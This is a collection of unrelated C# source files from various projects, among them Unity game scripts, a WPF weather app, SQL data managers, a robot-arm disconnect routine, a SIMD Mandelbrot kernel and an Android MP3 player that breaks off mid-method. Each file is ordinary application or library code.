using System; namespace SmartHome.Portal.Domain.Telemetry { public interface ITelemetry { DateTimeOffset Time { get; } double DoubleValue { get; } } }
using System; namespace Faker.ValueGenerator.PrimitiveTypes.IntegerTypes { public class IntegerGenerator : IPrimitiveTypeGenerator { private static readonly Random Random = new Random(); public Type GenerateType { get; set; } public object Generate() { GenerateType = typeof(int); return Random.Next(); } } }
using ICT3101_Calculator.UnitTests.Context; using NUnit.Framework; using System; using TechTalk.SpecFlow; namespace _ICT3101_Calculator.UnitTests.Step_Definitions { [Binding] class CalculatorBasicReliabilitySteps { private readonly CalculatorSharedData calculatorSharedData; public CalculatorBasicReliabilitySteps(CalculatorSharedData calculatorSharedData) { this.calculatorSharedData = calculatorSharedData; } [When(@"I have entered '(.*)' and '(.*)' and '(.*)' into the calculator and press current failure")] public void WhenIHaveEnteredAndAndIntoTheCalculatorAndPressCurrentFailure(int p0, int p1, int p2) { calculatorSharedData._result = this.calculatorSharedData._calculator.CurrentFailure(p0, p1, p2); } [When(@"I have entered '(.*)' and '(.*)' and '(.*)' into the calculator and press average failure")] public void WhenIHaveEnteredAndAndIntoTheCalculatorAndPressAverageFailure(int p0, int p1, int p2) { calculatorSharedData._result = this.calculatorSharedData._calculator.AverageFailure(p0, p1, p2); } [Then(@"the result should be '(.*)'")] public void ThenTheResultShouldBe(int p0) { Assert.That(calculatorSharedData._result, Is.EqualTo(p0)); } } }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Data.SqlClient; using System.Data; using FXB.Data; using FXB.Common; namespace FXB.DataManager { class JobGradeDataMgr { private static JobGradeDataMgr ins; private SortedDictionary<string, JobGradeData> allJobGradeData; private JobGradeDataMgr() { allJobGradeData = new SortedDictionary<string, JobGradeData>(); } public static JobGradeDataMgr Instance() { if (ins == null) { ins = new JobGradeDataMgr(); } return ins; } public SortedDictionary<string, JobGradeData> AllJobGradeData { get { return allJobGradeData; } } public void Load() { allJobGradeData.Clear(); //重新从数据库里加载 SqlDataReader reader = null; try { SqlCommand command = new SqlCommand(); command.Connection = SqlMgr.Instance().SqlConnect; command.CommandType = CommandType.Text; command.CommandText = "select * from jobgrade"; reader = command.ExecuteReader(); while (reader.Read()) { string levelName = reader.GetString(0); string xuLie = reader.GetString(1); Int32 baseSalary = reader.GetInt32(2); string comment = reader.GetString(3); AddJobGradeToCache(levelName, xuLie, baseSalary, comment); } } catch (Exception e) { MessageBox.Show(e.Message); System.Environment.Exit(0); } finally { if (reader != null) { reader.Close(); } } } private JobGradeData AddJobGradeToCache(string levelName, string xuLie, Int32 baseSalary, string comment) { if (allJobGradeData.ContainsKey(levelName)) { throw new CrashException(string.Format("职级重复:{0}", levelName)); } JobGradeData newJobGrade = new JobGradeData(levelName, xuLie, baseSalary, comment); allJobGradeData.Add(levelName, newJobGrade); return newJobGrade; } public void AddNewJobGrade(string levelName, string xuLie, Int32 baseSalary, string comment) { //添加新的副本 if (allJobGradeData.ContainsKey(levelName)) { throw new ConditionCheckException(string.Format("职级重复添加:{0}", levelName)); } SqlCommand command = new SqlCommand(); command.Connection = SqlMgr.Instance().SqlConnect; command.CommandType = CommandType.Text; command.CommandText = "INSERT INTO jobgrade(levelName,xuLie,baseSalary,comment) VALUES(@levelName,@xuLie,@baseSalary,@comment)"; command.Parameters.AddWithValue("@levelName", levelName); command.Parameters.AddWithValue("@xuLie", xuLie); command.Parameters.AddWithValue("@baseSalary", baseSalary); command.Parameters.AddWithValue("@comment", comment); command.ExecuteScalar(); AddJobGradeToCache(levelName, xuLie, baseSalary, comment); } public void ModifyJobGrade(string zhiji, string newXulie, Int32 newDixin, string newComment) { JobGradeData data = allJobGradeData[zhiji]; SqlCommand command = new SqlCommand(); command.Connection = SqlMgr.Instance().SqlConnect; command.CommandType = CommandType.Text; command.CommandText = "update jobgrade set xuLie=@xuLie,baseSalary=@baseSalary,comment=@comment where levelName=@levelName"; command.Parameters.AddWithValue("@xuLie", newXulie); command.Parameters.AddWithValue("@baseSalary", newDixin); command.Parameters.AddWithValue("@comment", newComment); command.Parameters.AddWithValue("@levelName", zhiji); command.ExecuteScalar(); data.XuLie = newXulie; data.BaseSalary = newDixin; data.Comment = newComment; } public void DeleteJobGrade(string zhiji) { JobGradeData data = allJobGradeData[zhiji]; SqlCommand command = new SqlCommand(); command.Connection = SqlMgr.Instance().SqlConnect; command.CommandType = CommandType.Text; command.CommandText = "delete from jobgrade where levelName=@levelName"; command.Parameters.AddWithValue("@levelName", zhiji); command.ExecuteScalar(); //从缓存中删除 allJobGradeData.Remove(zhiji); } public void SetDataGridView(DataGridView gridView) { gridView.Rows.Clear(); foreach (var item in allJobGradeData) { JobGradeData data = item.Value; int lineIndex = gridView.Rows.Add(); //DataGridViewTextBoxCell zhijiCell = new DataGridViewTextBoxCell(); //zhijiCell.Value = item.Value.LevelName; //DataGridViewTextBoxCell xulieCell = new DataGridViewTextBoxCell(); //xulieCell.Value = item.Value.XuLie; //DataGridViewTextBoxCell dixinCell = new DataGridViewTextBoxCell(); //dixinCell.Value = item.Value.BaseSalary; //DataGridViewTextBoxCell beizhuCell = new DataGridViewTextBoxCell(); //beizhuCell.Value = item.Value.Comment; gridView.Rows[lineIndex].Cells["zhiji"].Value = item.Value.LevelName; gridView.Rows[lineIndex].Cells["xulie"].Value = item.Value.XuLie; gridView.Rows[lineIndex].Cells["dixin"].Value = item.Value.BaseSalary; gridView.Rows[lineIndex].Cells["beizhu"].Value = item.Value.Comment; } } public void SetDataGridView(DataGridView gridView, DataFilter filter) { gridView.Rows.Clear(); foreach (var item in allJobGradeData) { JobGradeData data = item.Value; if (filter(data)) { int lineIndex = gridView.Rows.Add(); gridView.Rows[lineIndex].Cells["zhiji"].Value = item.Value.LevelName; gridView.Rows[lineIndex].Cells["xulie"].Value = item.Value.XuLie; gridView.Rows[lineIndex].Cells["dixin"].Value = item.Value.BaseSalary; gridView.Rows[lineIndex].Cells["beizhu"].Value = item.Value.Comment; } } } } }
using SDKHrobot; using System.Threading; using System.Windows.Forms; using Basic.Message; namespace Arm.Hiwin { public class HiwinDisconnect : IDisconnect { public HiwinDisconnect(int id, IMessage message, out bool connected) { int alarmState; int motorState; // 將所有錯誤代碼清除。 alarmState = HRobot.clear_alarm(id); // 錯誤代碼300代表沒有警報,無法清除警報。 alarmState = alarmState == 300 ? 0 : alarmState; // 設定控制器: 1為啟動,0為關閉。 HRobot.set_motor_state(id, 0); Thread.Sleep(500); // 取得控制器狀態。 motorState = HRobot.get_motor_state(id); // 關閉手臂連線。 HRobot.disconnect(id); var text = "斷線成功!\r\n" + $"控制器狀態: {(motorState == 0 ? "關閉" : "開啟")}\r\n" + $"錯誤代碼: {alarmState}"; message.Show(text, "斷線", MessageBoxButtons.OK, MessageBoxIcon.None); connected = false; } } }
using System; using System.Collections.Generic; namespace TripNetCore.test { public partial class TestTable { public int Id { get; set; } public int TypeId { get; set; } public string Desc { get; set; } } }
using System.Runtime.Intrinsics; using System.Runtime.Intrinsics.Arm; namespace Mandelbrot.Rendering.Iteration; public class NeonIteration : IIterationAlgorithm { public int Offset => 1; public unsafe void Iterate(uint* ptr, double re, double dRe, double im, double rSq, uint n) { var dataRe = stackalloc[] { re, re + dRe }; var dataIm = stackalloc[] { im, im }; var vRe = AdvSimd.LoadVector128(dataRe); var vIm = AdvSimd.LoadVector128(dataIm); var vZre = Vector128<double>.Zero; var vZim = Vector128<double>.Zero; var vZreSq = Vector128<double>.Zero; var vZimSq = Vector128<double>.Zero; var dataTwo = stackalloc[] { 2.0 }; var vTwo = AdvSimd.LoadVector64(dataTwo); var radiusData = stackalloc[] { rSq, rSq }; var vRad = AdvSimd.LoadVector128(radiusData); var mask = stackalloc ulong[2]; var vMask = Vector128<ulong>.Zero; *ptr = 0; *(ptr + 1) = 0; for (uint i = 0; i < n; i++) { var zSqSum = AdvSimd.Arm64.Add(vZreSq, vZimSq); var vCmp = AdvSimd.Arm64.CompareGreaterThan(zSqSum, vRad).AsUInt64(); vMask = AdvSimd.Or(vMask, vCmp); AdvSimd.Store(mask, vMask); if (*ptr == 0 && (mask[0] & 1) == 1) { *ptr = i; } if (*(ptr + 1) == 0 && (mask[1] & 1) == 1) { *(ptr + 1) = i; } if ((mask[0] & mask[1]) != 0) { return; } var vZRe2 = AdvSimd.Arm64.MultiplyByScalar(vZre, vTwo); vZim = AdvSimd.Arm64.FusedMultiplyAdd(vIm, vZim, vZRe2); vZre = AdvSimd.Arm64.Subtract(vZreSq, vZimSq); vZre = AdvSimd.Arm64.Add(vZre, vRe); vZreSq = AdvSimd.Arm64.Multiply(vZre, vZre); vZimSq = AdvSimd.Arm64.Multiply(vZim, vZim); } } }
using CommonServiceLocator; using System; using System.Collections.Generic; using System.Text; namespace Explayer.ViewModels { public class ViewModelLocator { public AppLaunchViewModel AppLaunchViewModel => ServiceLocator.Current.GetInstance<AppLaunchViewModel>(); } }
using UnityEngine; using System.Collections; using System.Collections.Generic; public class CurrentNodeScript : MonoBehaviour { public GameObject currentNode; public bool m_bisAI = true; private List<GameObject> ListArray; private GameObject[] FinalArray; private GameObject LevelGeneratorClass; private LevelGenerator LevelGeneratorInstance; // Use this for initialization void Start () { LevelGeneratorClass = GameObject.FindGameObjectWithTag("LevelGenerator"); LevelGeneratorInstance = LevelGeneratorClass.GetComponent<LevelGenerator>(); //GameObject[] ObjectArray = GameObject.FindGameObjectsWithTag ("Bits"); //GameObject[] BigBitsArray = GameObject.FindGameObjectsWithTag ("BigBits"); //GameObject[] EmptyArray = GameObject.FindGameObjectsWithTag ("Empty"); //GameObject EnemySpawn = GameObject.FindGameObjectWithTag ("EnemySpawn"); //GameObject PlayerSpawn = GameObject.FindGameObjectWithTag ("PlayerSpawn"); //ListArray = new List<GameObject>(); //foreach (GameObject v in ObjectArray) //{ // ListArray.Add(v); //} //foreach (GameObject v in BigBitsArray) //{ // ListArray.Add(v); //} //foreach (GameObject v in EmptyArray) //{ // ListArray.Add(v); //} //ListArray.Add(EnemySpawn); //ListArray.Add(PlayerSpawn); //FinalArray = ListArray.ToArray (); FinalArray = LevelGeneratorInstance.CurrentActiveLevel(); SetCurrentNode(); } // Update is called once per frame void Update () { if (m_bisAI || currentNode == null) { SetCurrentNode(); } } void SetCurrentNode() { float f_ShortestDistance = Mathf.Infinity; foreach (GameObject obj in FinalArray) { float f_Distance = (obj.transform.position - transform.position).magnitude; if (f_Distance < f_ShortestDistance) { f_ShortestDistance = f_Distance; currentNode = obj; } } } void OnTriggerEnter(Collider col) { if (col.tag == "Bits") { currentNode = col.gameObject; } } }
using System; using System.Collections.Generic; using System.Globalization; using System.Linq; using System.Net; using System.Text; using System.Threading; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Navigation; using System.Windows.Shapes; using System.Windows.Threading; using ToastNotifications; using ToastNotifications.Lifetime; using ToastNotifications.Messages; using ToastNotifications.Position; using Weather_forecast.Components.Table; using Weather_forecast.JSONMapper; using Weather_forecast.JSONModels.Current_forecast; using Weather_forecast.Models; using Weather_forecast.Utility; using Weather_forecast.Web_mapping; namespace Weather_forecast { /// <summary> /// Interaction logic for MainWindow.xaml /// </summary> public partial class MainWindow : Window { public static TableView table; public static Forecast forecast = new Forecast(); private Clock clock; private static CurrentCity currCity = new CurrentCity(); private static string currentCityName = currCity.CityName; private static CurrentWeather currentCityWeather = forecast.getCurrentWeather(currentCityName); private CustomNotifier customNotifier = new CustomNotifier(260, 10); public static DispatcherTimer messageTimer = new DispatcherTimer(); private bool _informationMessage; private bool InformationMessage { get { return _informationMessage; } set { if(_informationMessage != value) { _informationMessage = value; Thread startTick = new Thread(TimerStart); startTick.Start(); } } } /* * Notifier */ public MainWindow() { InitializeComponent(); setInitialHomePage(); } /* Event handlers */ private void tableView_Click(object sender, RoutedEventArgs e) { if (forecast.locationForecast.Count != 0) { if(table == null || !table.IsLoaded) table = new TableView(); table.Show(); } else { customNotifier.notifier.ShowError("There is no data in table!"); } } private void searchButton_Click(object sender, RoutedEventArgs e) { string cityName = searchText.Text; addToTable(cityName); setHomePage(cityName); if (table != null) { table.LocationDaylyForecasts.Clear(); table.applyNumOfDaysFilter(); table.drawChart(); } } /* Home page setting components */ private void setFirstFivePrognosis() { List<LocationDailyWeather> firstFive = forecast.getFirstFivePrognosis(currentCityName); icon1.Content = firstFive[0].Icon; time1.Text = firstFive[0].getOnlyDayAndTime(); temp1.Text = firstFive[0].Celsius.ToString(); icon2.Content = firstFive[1].Icon; time2.Text = firstFive[1].getOnlyDayAndTime(); temp2.Text = firstFive[1].Celsius.ToString(); icon3.Content = firstFive[2].Icon; time3.Text = firstFive[2].getOnlyDayAndTime(); temp3.Text = firstFive[2].Celsius.ToString(); icon4.Content = firstFive[3].Icon; time4.Text = firstFive[3].getOnlyDayAndTime(); temp4.Text = firstFive[3].Celsius.ToString(); icon5.Content = firstFive[4].Icon; time5.Text = firstFive[4].getOnlyDayAndTime(); temp5.Text = firstFive[4].Celsius.ToString(); } private void setCurrentCityInformation() { currentCity.Content = StringHandler.toUTFString(currentCityWeather.name); temmCurrentLocation.Content = currentCityWeather.main.getCelsius(); icon.Content = currentCityWeather.weather[0].getIcon(); measuredTime.Content = DateTime.Now.ToString("hh:mm tt"); } private void setInitialHomePage() { setFirstFivePrognosis(); setCurrentCityInformation(); setClock(); } private void setHomePage(string cityName) { currentCityName = cityName; currentLocationLabel.Content = "Last added city"; try { currentCityWeather = forecast.getCurrentWeather(currentCityName); setInitialHomePage(); } catch { } } private void addToTable(string cityName) { try { LocationForecast lf = forecast.getLocationForecast(cityName); if (table != null) { table.initializeTableRows(); table.fillListBox(); } customNotifier.notifier.ShowSuccess($"The city {StringHandler.capitalize(lf.Name)} was added to the table!"); } catch { if (cityName == "") { customNotifier.notifier.ShowWarning("You did not enter a city name!"); } else { customNotifier.notifier.ShowWarning( $"City '{StringHandler.capitalize(cityName)}' does not exist!"); } } searchText.Clear(); } /* Clock and timer setters */ public void clockTicker(object sender, EventArgs e) { clock.tickIncrement++; string[] values = clock.getCurrentTime(); string hoursMinutes = values[0] + ":" + values[1]; clockTime.Content = hoursMinutes; clockSeconds.Content = values[2]; } private void dt_Tick(object sender, object e) { informationLabel.Opacity -= 0.11; if (informationLabel.Opacity <= 0) { InformationMessage = false; messageTimer.Stop(); informationLabel.Opacity = 1.0; informationLabel.Content = ""; } } private void TimerStart() { if (InformationMessage) { Thread.Sleep(2000); messageTimer.Interval = TimeSpan.FromMilliseconds(30); messageTimer.Tick += dt_Tick; messageTimer.Start(); } } private void setClock() { clock = new Clock(clockTicker); } } }
using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.Rendering; namespace VolumetricFogAndMist { [ExecuteInEditMode] public class ShadowMapCopy : MonoBehaviour { Light m_Light; CommandBuffer cb; void OnEnable() { m_Light = GetComponent<Light>(); if (m_Light == null) { Debug.LogError("Light component not found on this gameobject. Make sure you have assigned a valid directional light to the Sun property of Volumetric Fog & Mist."); return; } cb = new CommandBuffer(); cb.name = "Volumetric Fog ShadowMap Copy"; cb.SetGlobalTexture("_VolumetricFogShadowMapCopy", new RenderTargetIdentifier(UnityEngine.Rendering.BuiltinRenderTextureType.CurrentActive)); // Execute after the shadowmap has been filled. m_Light.AddCommandBuffer(LightEvent.AfterShadowMap, cb); } void OnDisable() { if (m_Light != null) { m_Light.RemoveCommandBuffer(LightEvent.AfterShadowMap, cb); } } } }
using System; using System.Collections.Generic; using System.Linq.Expressions; namespace PL.Integritas.Domain.Interfaces.Repositories { public interface IRepository<TEntity> : IDisposable where TEntity : class { void Add(TEntity obj); void Update(TEntity obj); void Remove(Int64 id); TEntity GetById(Int64 id); IEnumerable<TEntity> GetAll(); IEnumerable<TEntity> GetRange(int skip, int take); IEnumerable<TEntity> Search(Expression<Func<TEntity, bool>> predicate); int SaveChanges(); } }
using SharpEngine; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace PacmanOgre.Scene { public class SceneId { public string SceneName { get; set; } public static explicit operator string(SceneId sceneId) => sceneId.SceneName; public static bool operator ==(SceneId left, SceneId right) => left?.SceneName == right?.SceneName; public static bool operator !=(SceneId left, SceneId right) => !(left == right); public override bool Equals(object obj) { var id = obj as SceneId; return id != null && SceneName == id.SceneName; } public override int GetHashCode() { return 232260920 + EqualityComparer<string>.Default.GetHashCode(SceneName); } } public interface IScene : IDisposable { SceneId SceneId { get; set; } EntityManager GetEntityManager(); org.ogre.SceneManager GetOgreSceneManager(); void Setup(); void LoadScene(); void UnloadScene(); void Update(float timeDelta, bool sceneActive); } }
using System; using System.Collections.Generic; using System.Linq; using System.Web; using TypeInThai.Repositories; using TypeInThai.Helpers; namespace TypeInThai.Models { public class Level { public string Header = ""; public string IntroText = ""; public LevelConditions Conditions = new LevelConditions(); public LevelCriteria Criteria = new LevelCriteria(); } }
using LightBoxRectSubForm.app; using LightBoxRectSubForm.data; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace LightBoxRectSubForm.comm { public class ByteEventArgs : EventArgs { public BytesWithInfo bi; public DateTime time; public ByteEventArgs(BytesWithInfo bi) { this.bi = bi; } public ByteEventArgs(DateTime time, BytesWithInfo bi) { this.time = time; this.bi = bi; } public string getBytesString() { return Untils.ToHexString(bi.bytes); } public override string ToString() { return time.ToLongTimeString() + " - " + bi.info + " - " + getBytesString(); } } }
using Content.Server.Clothing.Components; using Content.Server.Storage.Components; using Content.Server.Storage.EntitySystems; using Content.Server.Temperature.Systems; using Content.Shared.Interaction.Events; using Content.Shared.Inventory; using Content.Shared.Inventory.Events; using InventoryComponent = Content.Shared.Inventory.InventoryComponent; namespace Content.Server.Inventory { public sealed class ServerInventorySystem : InventorySystem { [Dependency] private readonly StorageSystem _storageSystem = default!; public override void Initialize() { base.Initialize(); SubscribeLocalEvent<InventoryComponent, ModifyChangedTemperatureEvent>(RelayInventoryEvent); SubscribeLocalEvent<ClothingComponent, UseInHandEvent>(OnUseInHand); SubscribeNetworkEvent<OpenSlotStorageNetworkMessage>(OnOpenSlotStorage); } private void OnUseInHand(EntityUid uid, ClothingComponent component, UseInHandEvent args) { if (args.Handled || !component.QuickEquip) return; QuickEquip(uid, component, args); } private void OnOpenSlotStorage(OpenSlotStorageNetworkMessage ev, EntitySessionEventArgs args) { if (args.SenderSession.AttachedEntity is not EntityUid { Valid: true } uid) return; if (TryGetSlotEntity(uid, ev.Slot, out var entityUid) && TryComp<ServerStorageComponent>(entityUid, out var storageComponent)) { _storageSystem.OpenStorageUI(entityUid.Value, uid, storageComponent); } } } }
using Sentry.Extensibility; using Sentry.Internal.Extensions; namespace Sentry.Protocol; /// <summary> /// A measurement, containing a numeric value and a unit. /// </summary> public sealed class Measurement : IJsonSerializable { /// <summary> /// The numeric value of the measurement. /// </summary> public object Value { get; } /// <summary> /// The unit of measurement. /// </summary> public MeasurementUnit Unit { get; } private Measurement(object value, MeasurementUnit unit) { Value = value; Unit = unit; } internal Measurement(int value, MeasurementUnit unit = default) { Value = value; Unit = unit; } internal Measurement(long value, MeasurementUnit unit = default) { Value = value; Unit = unit; } internal Measurement(ulong value, MeasurementUnit unit = default) { Value = value; Unit = unit; } internal Measurement(double value, MeasurementUnit unit = default) { Value = value; Unit = unit; } /// <inheritdoc /> public void WriteTo(Utf8JsonWriter writer, IDiagnosticLogger? logger) { writer.WriteStartObject(); switch (Value) { case int number: writer.WriteNumber("value", number); break; case long number: writer.WriteNumber("value", number); break; case ulong number: writer.WriteNumber("value", number); break; case double number: writer.WriteNumber("value", number); break; } writer.WriteStringIfNotWhiteSpace("unit", Unit.ToString()); writer.WriteEndObject(); } /// <summary> /// Parses from JSON. /// </summary> public static Measurement FromJson(JsonElement json) { var value = json.GetProperty("value").GetDynamicOrNull()!; var unit = json.GetPropertyOrNull("unit")?.GetString(); return new Measurement(value, MeasurementUnit.Parse(unit)); } }
using UnityEngine; namespace Assets.Scripts.PlayerFolder { public enum EPlayerState { Walk, Run, Jump, Swim, Dead, AFK, None } public class Player : CharacterBase { private delegate void HealthDelegate(int health); private static event HealthDelegate AddMaxHealthEvent; private static event HealthDelegate AddCurrentHealthEvent; private bool _regen; private Vector3 _positionBefore; private float _treshHold; private const float AFKTIME = 120; //2minuty public Player(string name, float health, float energy) : base(name, health, energy) { AddMaxHealthEvent += AddMaxHealth; AddCurrentHealthEvent += AddCurrentHealth; } public void Moving(Transform transform) { if (EPlayerState == EPlayerState.Dead) return; if (Input.GetAxis("Vertical") != 0) { transform.position += transform.up * Input.GetAxis("Vertical") * Speed * 0.02f; } else if(!Away()) EPlayerState = EPlayerState.None; else EPlayerState = EPlayerState.AFK; if (Input.GetAxis("Horizontal") != 0) { transform.Rotate(0, 0, (Input.GetAxis("Horizontal") * -3)); } Position = transform.position; } public override void Run() { if(EPlayerState == EPlayerState.Dead) return; if(Input.GetKey("left shift") && CurrentEnergy > 0 && !_regen && (EPlayerState == EPlayerState.Walk || EPlayerState == EPlayerState.Run)) { base.Run(); } else { if(CurrentEnergy <= 0 && !_regen) //ošetření pokud pořád drží shift { _regen = true; CurrentEnergy = 0; Walk(); } if(_regen && CurrentEnergy >= 15) //pokud vyčerpal uplně energii tak musí čekat až bude energie na 15 poté může zase běhat _regen = false; Walk(); } } private bool Away() { if (_treshHold <= AFKTIME) _treshHold += Time.deltaTime; if (_positionBefore != Position) { _positionBefore = Position; _treshHold = 0; } if (_treshHold > AFKTIME) { return true; } return false; } public void AddMaxHealth(int health) { if(EPlayerState == EPlayerState.Dead) return; MaxHealth += health; } public void AddCurrentHealth(int health) { if(EPlayerState == EPlayerState.Dead) return; CurrentHealth += health; } public static void OnAddMaxHealth(int health) { if(AddMaxHealthEvent != null) AddMaxHealthEvent.Invoke(health); } public static void OnAddCurrentHealth(int health) { if(AddCurrentHealthEvent != null) AddCurrentHealthEvent.Invoke(health); } } }
# region Includes using System; using System.Windows.Forms; # endregion namespace RobX.Simulator { #if WINDOWS || XBOX static class Program { /// <summary> /// The main entry point for the application. /// </summary> [STAThread] static void Main() { Application.EnableVisualStyles(); var form = new frmSimulator(); form.Show(); // This line creates a XNA object in the form created earlier. form.SimulationController = new SimController(form.picSimulation.Handle, form.picSimulation, form.Simulator); form.SimulationController.Run(); } } #endif }
using System; using System.Collections.Generic; using System.Data; using System.Data.SqlClient; namespace SNORM { /// <summary>Describes an object that will communicate to a database.</summary> public interface IDatabase : IManagedDatabase { #region Methods /// <summary>Begins a SQL transaction.</summary> /// <returns>The transaction.</returns> SqlTransaction BeginTransaction(); /// <summary>Creates a tabled-value parameter (TVP) SQL type for the specified type. Call this prior to BeginTransaction, Delete, Insert, Select or Update but after Connect.</summary> /// <param name="type">The type to create a TVP for.</param> /// <returns>True if created otherwise false.</returns> bool CreateTvpType(Type type); /// <summary>Creates a tabled-value parameter (TVP) SQL type for the specified type. Call this prior to BeginTransaction, Delete, Insert, Select or Update but after Connect.</summary> /// <param name="type">The type to create a TVP for.</param> /// <param name="includeAutoIncrementColumns">Whether or not to include auto increment columns from the table.</param> /// <returns>True if created otherwise false.</returns> bool CreateTvpType(Type type, bool includeAutoIncrementColumns); /// <summary>Creates a tabled-value parameter (TVP) SQL type for the specified type. Call this prior to BeginTransaction, Delete, Insert, Select or Update but after Connect.</summary> /// <param name="type">The type to create a TVP for.</param> /// <param name="schema">The schema for the TVP type.</param> /// <param name="includeAutoIncrementColumns">Whether or not to include auto increment columns from the table.</param> /// <returns>True if created otherwise false.</returns> bool CreateTvpType(Type type, string schema, bool includeAutoIncrementColumns); /// <summary>Deletes the objects from the database.</summary> /// <typeparam name="T">The type of object to delete.</typeparam> /// <param name="instances">The collection of objects to delete.</param> /// <param name="transaction">The SQL transaction to use for the query.</param> /// <returns>The number of affected rows or -1 if an error occurred.</returns> int Delete<T>(List<T> instances, SqlTransaction transaction); /// <summary>Creates a tabled-value parameter (TVP) SQL type for the specified type.</summary> /// <param name="type">The type to create a TVP for.</param> /// <returns>True if created otherwise false.</returns> bool DropTvpType(Type type); /// <summary>Creates a tabled-value parameter (TVP) SQL type for the specified type.</summary> /// <param name="type">The type to create a TVP for.</param> /// <param name="schema">The schema for the TVP type.</param> /// <returns>True if created otherwise false.</returns> bool DropTvpType(Type type, string schema); /// <summary>Executes a SQL statement against the connection and returns the number of rows affected or -1 if an error occurred.</summary> /// <param name="transaction">The transaction to use for the command.</param> /// <param name="query">The SQL statement to execute.</param> /// /// <param name="commandType">The type of command.</param> /// <param name="parameters">The parameters for the command.</param> /// <returns>The number of rows affected or -1 if an error occurred.</returns> int ExecuteNonQuery(SqlTransaction transaction, string query, CommandType commandType, params SqlParameter[] parameters); /// <summary>Executes a SQL statement against the connection and returns the results or null if an error occurred.</summary> /// <param name="transaction">The transaction to use for the command.</param> /// <param name="query">The SQL statement to execute</param> /// <param name="commandType">The type of command.</param> /// <param name="parameters">The parameters for the command.</param> /// <returns>The results or null if an error occurred.</returns> object[][] ExecuteQuery(SqlTransaction transaction, string query, CommandType commandType, params SqlParameter[] parameters); /// <summary>Inserts the objects into the database.</summary> /// <typeparam name="T">The type of object to insert.</typeparam> /// <param name="instances">The collection of objects to insert.</param> /// <param name="transaction">The SQL transaction to use for the query.</param> /// <returns>The number of affected rows or -1 if an error occurred.</returns> int Insert<T>(List<T> instances, SqlTransaction transaction); /// <summary>Selects objects from the database and maps the results to the instances of type T.</summary> /// <typeparam name="T">The type of object to map the results to.</typeparam> /// <param name="transaction">The SQL transaction to use for the query.</param> /// <param name="query">The Transact-SQL statement to execute.</param> /// <param name="commandType">The type of command.</param> /// <param name="parameters">Parameters, if any, for the Transact-SQL statement.</param> /// <returns>A list of instances of type T returned by the query or null if an error occurred.</returns> List<T> Select<T>(SqlTransaction transaction, string query, CommandType commandType, params SqlParameter[] parameters) where T : class, new(); /// <summary>Updates objects in the database.</summary> /// <typeparam name="T">The type of object to update.</typeparam> /// <param name="instances">The collection of objects to update.</param> /// <param name="transaction">The SQL transaction to use for the query.</param> /// <returns>The number of affected rows or -1 if an error occurred.</returns> int Update<T>(List<T> instances, SqlTransaction transaction); #endregion } }
namespace _08._MapDistricts { using System; using System.Collections.Generic; using System.Linq; public class Startup { public static void Main() { string[] inputParts = Console.ReadLine().Split(new[] { ' ' }, StringSplitOptions.RemoveEmptyEntries); Dictionary<string, List<long>> towns = new Dictionary<string, List<long>>(); foreach (string part in inputParts) { string[] townParts = part.Split(new[] { ':' }, StringSplitOptions.RemoveEmptyEntries); string townName = townParts[0]; long population = long.Parse(townParts[1]); if (!towns.ContainsKey(townName)) { towns[townName] = new List<long>(); } towns[townName].Add(population); } long bound = long.Parse(Console.ReadLine()); towns = towns .Where(t => t.Value.Sum() > bound) .OrderByDescending(t => t.Value.Sum()) .ToDictionary(t => t.Key, t => t.Value); foreach (KeyValuePair<string, List<long>> town in towns) { Console.WriteLine($"{town.Key}: {string.Join(" ", town.Value)}"); } } } }
using MyPluginEngine; using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace CGERunBar { class CGERun : MyPluginEngine.IMenuDef { #region IMenuDef 成员 public string Caption { get { return "行业用水变化趋势"; } } public void GetItemInfo(int pos, ItemDef itemDef) { switch (pos) { case 0: itemDef.ID = "CGERunBar.frmRunCGECmd"; itemDef.Group = false; break; default: break; } } public long ItemCount { get { return 1; } } public string Name { get { return "CGERunBar"; } } #endregion } }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace OcTur.Model { class AutenticacaoModel { /// <summary> /// Consulta no banco a presença do nome do usuário /// </summary> /// <param name="nome">Campo Usuario de FrmAutenticacao</param> /// <returns> Retorna true para usuario existente false para usuario inexistente</returns> public bool VerificarUsuario(string nome) { return true; } } }
using System.Web.Mvc; using AutoMapper; using Unity; using Unity.Mvc5; using DigitalLeap.Services; using DigitalLeap.Repositories; using DigitalLeap.Web.MappingProfiles; using Unity.Lifetime; namespace DigitalLeap.Web { public static class UnityConfig { public static void RegisterComponents() { var container = new UnityContainer(); container.RegisterType<IEnquiryService, EnquiryService>(); container.RegisterType<IEnquiryRepository, EnquiryRepository>(); container.RegisterType<DataContext, DataContext>(new PerThreadLifetimeManager()); var config = new MapperConfiguration(cfg => { cfg.AddProfile<DataProfile>(); }); var mapper = config.CreateMapper(); container.RegisterInstance(mapper); // register all your components with the container here // it is NOT necessary to register your controllers // e.g. container.RegisterType<ITestService, TestService>(); DependencyResolver.SetResolver(new UnityDependencyResolver(container)); } } }
using Android.App; using Android.Widget; using Android.OS; using Android.Media; using System.Collections.Generic; using System.IO; namespace PlayMp3Project { [Activity(Label = "Mp3 Player Project", MainLauncher = true, Icon = "@drawable/icon")] public class MainActivity : Activity { MediaPlayer player; private List<string> mItem; private ListView mListView; private Button playBtn, pauseBtn, stopBtn; protected override void OnCreate(Bundle bundle) { base.OnCreate(bundle); SetContentView(Resource.Layout.Main); init(); // Єдиний робочий варіант //player = MediaPlayer.Create(this, Resource.Raw.ABBA_L); // path //string MP3Path = Path.Combine("/sdcard/" + Android.OS.Environment.DirectoryMusic); var directories = Directory.EnumerateFiles(Path.Combine("/sdcard/" + Android.OS.Environment.DirectoryMusic)); mItem = new List<string>(); List<string> mItemName = new List<string>(); foreach (var directory in directories) { mItem.Add(directory); } // ????? player.SetDataSource(mItem[0]); // events playBtn.Click += (sender, e) => { player.Start(); }; pauseBtn.Click += (sender, e) => { player.Pause(); }; stopBtn.Click += (sender, e) => { player.Stop(); }; // адаптер листа ArrayAdapter<string> adapter = new ArrayAdapter<string>(this, Android.Resource.Layout.SimpleListItem1, mItem); mListView.ItemClick += MListView_ItemClick; 